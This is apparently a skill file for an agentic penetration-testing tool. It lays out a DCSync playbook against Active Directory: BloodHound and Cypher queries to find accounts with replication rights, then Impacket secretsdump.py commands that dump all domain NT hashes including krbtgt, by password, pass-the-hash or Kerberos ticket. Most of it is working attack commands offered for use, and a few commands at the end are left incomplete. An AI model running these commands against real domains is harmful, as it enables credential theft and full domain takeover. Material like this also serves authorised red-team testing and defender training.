dcsync

name	dcsync
description	Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.
metadata	{"subdomain":"active-directory","when_to_use":"dcsync replication rights secretsdump krbtgt nt hash dump","mitre_attack":["T1003.006"]}

DCSync Playbook

DCSync is not a vulnerability — it's a legitimate AD feature for domain controllers to replicate. The "vulnerability" is when a non-DC principal has the replication-rights ACL.

1. Identify DCSync candidates

From BloodHound:

kg_query(kind="user", filter="dcsync=true") +
kg_query(kind="group", filter="dcsync=true")

Or Cypher direct:

MATCH (n)-[:GetChanges|GetChangesAll]->(:Domain)
RETURN DISTINCT n.name, labels(n)

Common holders (legitimate):

• Domain Admins, Enterprise Admins, Domain Controllers
• Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange)
• Replicator (rare)

Common holders (misconfig = jackpot):

• Service accounts (admins delegated mistakenly)
• Helpdesk groups
• Groups from old migrations

2. Execute DCSync

Impacket (most reliable):

# All NT hashes including krbtgt
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \
  -outputfile /tmp/secrets

# Just one target user
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc-user 'krbtgt'


secretsdump.py -hashes :NT_HASH  -just-dc


 KRB5CCNAME=/tmp/user.ccache
secretsdump.py -k -no-pass  -just-dc